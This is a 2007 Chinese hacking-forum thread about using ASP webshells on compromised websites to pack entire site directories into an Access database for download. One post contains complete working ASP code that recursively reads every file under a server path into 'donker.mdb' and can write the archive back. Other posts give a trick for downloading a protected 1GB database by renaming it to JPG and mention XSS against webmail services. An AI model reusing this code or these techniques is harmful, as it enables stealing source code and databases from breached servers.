33 12
发新话题
打印

[讨论]Webshell打包问题!

引用:
引用第24楼stacker于2007-08-19 03:37发表的 :
日,糊涂虾可真多!用13那马打包,应该在地址栏直接输入路径下载,而不是直接点击下载。13那马打包没问题,下载大文件有问题!
这为兄弟说的对,也碰到过这个情况,记得是以前桂林老兵写的那个ASP马吧,下载大文件也有问题的....楼上两位兄弟提到了,同样是76K大文件.我想,两个文件内容应该是一样的...

TOP

我还遇过BT的网站,提示“为了网站安全,不允许下载MDB数据库”,日,咋办??我直接改名JPG,迅雷DOWN了下来,1G多!

TOP

76K? 你太有才了 海洋的很多情况下出那个问题`~~
但用十三那个好象跟多情况都可以解决了

看下面
————————————————————————————————————
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
Option Explicit
&#39;ASP Separation software bundles
dim fsoX

Const isDebugMode = False    &#39;&#39;Does debugging mode

Sub createIt(fsoX)
  If isDebugMode = False Then
   On Error Resume Next
  End If

  Set fsoX = Server.CreateObject("Scripting.FileSystemObject")
  If IsEmpty(fsoX) Then
   Set fsoX = fso
  End If
  
  If Err Then
   Err.Clear
  End If
End Sub

Sub chkErr(Err)
  If Err Then
   echo "<style>body{margin:8;border:none;overflow:hidden;background-color:buttonface;}</style>"
   echo "<br/><font size=2><li>error: " & Err.Description & "</li><li>error: " & Err.Source & "</li><br/>"
   echo "<hr>Powered By donker</font>"
   Err.Clear
   Response.End
  End If
End Sub

Sub echo(str)
  Response.Write(str)
End Sub

Function HtmlEncode(str)
  If isNull(str) Then
   Exit Function
  End If
  HtmlEncode = Server.HTMLEncode(str)
End Function

Sub alertThenClose(strInfo)
  Response.Write "<script>alert(""" & strInfo & """);window.close();</script>"
End Sub

Sub showErr(str)
  Dim i, arrayStr
  str = Server.HtmlEncode(str)
  arrayStr = Split(str, "$$")
&#39;  Response.Clear
  echo "<font size=2>"
  echo "error:<br/><br/>"
  For i = 0 To UBound(arrayStr)
   echo " " & (i + 1) & ". " & arrayStr(i) & "<br/>"
  Next
  echo "</font>"
  Response.End
End Sub

Call createIt(fsoX)

Call PageAddToMdb()
Set fsoX = Nothing
Sub PageAddToMdb()
  Dim theAct, thePath
  theAct = Request("theAct")
  thePath = Request("thePath")
  Server.ScriptTimeOut = 5000

  If theAct = "addToMdb" Then
   addToMdb(thePath)
   alertThenClose("ok!")
   Response.End
  End If
  If theAct = "releaseFromMdb" Then
   unPack(thePath)
   alertThenClose("ok!")
   Response.End
  End If
    echo "<html>"& vbNewLine
  echo "<head>"& vbNewLine
  echo "<title>Packing folders / untied device</title>"& vbNewLine
  echo "<style>"& vbNewLine
  echo "A:visited {color: #ffffff;text-decoration: none;}"& vbNewLine
  echo "A:active {color: #ffffff;text-decoration: none;}"& vbNewLine
  echo "A:link {color: #ffffff;text-decoration: none;}"& vbNewLine
  echo "A:hover {color: #ffffff;text-decoration: none;}"& vbNewLine
  echo "BODY {font-size: 9pt;COLOR: #ffffff;font-family: ""Courier New"";border: none;background-color: #000000;}"& vbNewLine
  echo "textarea {font-family: ""Courier New"";font-size: 12px;border-width: 1px;color: #000000;}"& vbNewLine
  echo "table {font-size: 9pt;}"& vbNewLine
  echo "form {margin: 0;}"& vbNewLine
  echo "#fsoDriveList span{width: 100px;}"& vbNewLine
  echo "#FileList span{width: 90;height: 70;cursor: hand;text-align: center;word-break: break-all;border: 1px solid buttonface;}"& vbNewLine
  echo ".anotherSpan{color: #ffffff;width: 90;height: 70;text-align: center;background-color: #0A246A;border: 1px solid #0A246A;}"& vbNewLine
  echo ".font{font-size: 35px;line-height: 40px;}"& vbNewLine
  echo "#fileExplorerTools {background-color: buttonFace;}"& vbNewLine
  echo ".input, input {border-width: 1px;}"& vbNewLine
  echo "</style>" & vbNewLine
  echo "</head>"& vbNewLine
  echo "<body>"& vbNewLine
  echo "P:<br/>"& vbNewLine
  echo "<form method=post target=_blank>"
  echo "<input name=thePath value=""" & HtmlEncode(Server.MapPath(".")) & """ size=80>"& vbNewLine
  echo "<input type=hidden value=addToMdb name=theAct>"
  echo "<select name=theMethod><option value=fso>FSO</option><option value=app>no-FSO</option>"& vbNewLine
  echo "</select>"& vbNewLine
  echo "<br><input type=submit value=&#39;p&#39;>"& vbNewLine
  echo "</form>"& vbNewLine
  echo "<hr/>u(FSO):<br/>"& vbNewLine
  echo "<form method=post target=_blank>"& vbNewLine
  echo "<input name=thePath value=""" & HtmlEncode(Server.MapPath(".")) & "\donker.mdb"" size=80>"& vbNewLine
  echo "<input type=hidden value=releaseFromMdb name=theAct><input type=submit value=&#39;u&#39;>"& vbNewLine
  echo "<hr/>by www.XXX.cn"& vbNewLine
  echo "</form>"& vbNewLine
  echo "</body>"
  echo "</html>"



End Sub

Sub addToMdb(thePath)
  If isDebugMode = False Then
   On Error Resume Next
  End If
  Dim rs, conn, stream, connStr, adoCatalog
  Set rs = Server.CreateObject("ADODB.RecordSet")
  Set stream = Server.CreateObject("ADODB.Stream")
  Set conn = Server.CreateObject("ADODB.Connection")
  Set adoCatalog = Server.CreateObject("ADOX.Catalog")
  connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("donker.mdb")

  adoCatalog.Create connStr
  conn.Open connStr
  conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
  
  stream.Open
  stream.Type = 1
  rs.Open "FileData", conn, 3, 3
  
  If Request("theMethod") = "fso" Then
   fsoTreeForMdb thePath, rs, stream
  Else
   saTreeForMdb thePath, rs, stream
  End If

  rs.Close
  Conn.Close
  stream.Close
  Set rs = Nothing
  Set conn = Nothing
  Set stream = Nothing
  Set adoCatalog = Nothing
End Sub

Function fsoTreeForMdb(thePath, rs, stream)
  Dim item, theFolder, folders, files, sysFileList
  sysFileList = "$donker.mdb$donker.ldb$"
  If fsoX.FolderExists(thePath) = False Then
   showErr(thePath & " error!")
  End If
  Set theFolder = fsoX.GetFolder(thePath)
  Set files = theFolder.Files
  Set folders = theFolder.SubFolders

  For Each item In folders
   fsoTreeForMdb item.Path, rs, stream
  Next

  For Each item In files
   If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
    rs.AddNew
    rs("thePath") = Mid(item.Path, 4)
    stream.LoadFromFile(item.Path)
    rs("fileContent") = stream.Read()
    rs.Update
   End If
  Next

  Set files = Nothing
  Set folders = Nothing
  Set theFolder = Nothing
End Function

Sub unPack(thePath)
  If isDebugMode = False Then
   On Error Resume Next
  End If
  Server.ScriptTimeOut = 5000
  Dim rs, ws, str, conn, stream, connStr, theFolder
  str = Server.MapPath(".") & "\"
  Set rs = CreateObject("ADODB.RecordSet")
  Set stream = CreateObject("ADODB.Stream")
  Set conn = CreateObject("ADODB.Connection")
  connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";"

  conn.Open connStr
  rs.Open "FileData", conn, 1, 1
  stream.Open
  stream.Type = 1

  Do Until rs.Eof
   theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
   If fsoX.FolderExists(str & theFolder) = False Then
    createFolder(str & theFolder)
   End If
   stream.SetEos()
   stream.Write rs("fileContent")
   stream.SaveToFile str & rs("thePath"), 2
   rs.MoveNext
  Loop

  rs.Close
  conn.Close
  stream.Close
  Set ws = Nothing
  Set rs = Nothing
  Set stream = Nothing
  Set conn = Nothing
End Sub

Sub createFolder(thePath)
  Dim i
  i = Instr(thePath, "\")
  Do While i > 0
   If fsoX.FolderExists(Left(thePath, i)) = False Then
    fsoX.CreateFolder(Left(thePath, i - 1))
   End If
   If InStr(Mid(thePath, i + 1), "\") Then
    i = i + Instr(Mid(thePath, i + 1), "\")
   Else
    i = 0
   End If
  Loop
End Sub

Sub saTreeForMdb(thePath, rs, stream)
  Dim item, theFolder, sysFileList
  sysFileList = "$donker.mdb$donker.ldb$"
  Set theFolder = saX.NameSpace(thePath)
  
  For Each item In theFolder.Items
   If item.IsFolder = True Then
    saTreeForMdb item.Path, rs, stream
   Else
    If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
     rs.AddNew
     rs("thePath") = Mid(item.Path, 4)
     stream.LoadFromFile(item.Path)
     rs("fileContent") = stream.Read()
     rs.Update
    End If
   End If
  Next

  Set theFolder = Nothing
End Sub
%>
——————————————————
www.tsnews.net唐山在线 www.qq-qqzone.cnQQ空间

TOP

引用:
引用第5楼cheng4306于2007-07-29 23:30发表的 :
呵呵,我来解答你
使用十三终极asp马打包解包功能
打包一栏填上web路径 比如e:wwwrootwww.163.com
然后点打包就好了,生成hsh.mdb位于你的十三马目录里
下载之后本地建立IIS,把十三马和hsh.mdb放在同一目录访问asp木马
.......
听说他的马很多都带后门啊?你发上来个不带后门的上来吧?

TOP

十三的马儿的打包功能不知道不是是个虚设,一直就觉得它有什么问题。另外用的另类asp后门带的打包功能能够正常使用,海阳本身的也正常。估计代码部分有问题。用了几个修改版本也同样出现同样的问题。没错。76K,全一个样。

TOP

yahoo mail,live mail,gmail XSS
不知道有没有感兴趣的一起讨论讨论!
email:withwing1@gmail.com

TOP

为什么我用海阳打包什么也没打到???

TOP

webshell打包不全问题

我也同样遇到过你的问题,开始我也郁闷了很久,如果碰到这种情况,一个个文件夹打包,hytop.mdb数据会更着变大
这样绝对是可行的

TOP

 33 12
发新话题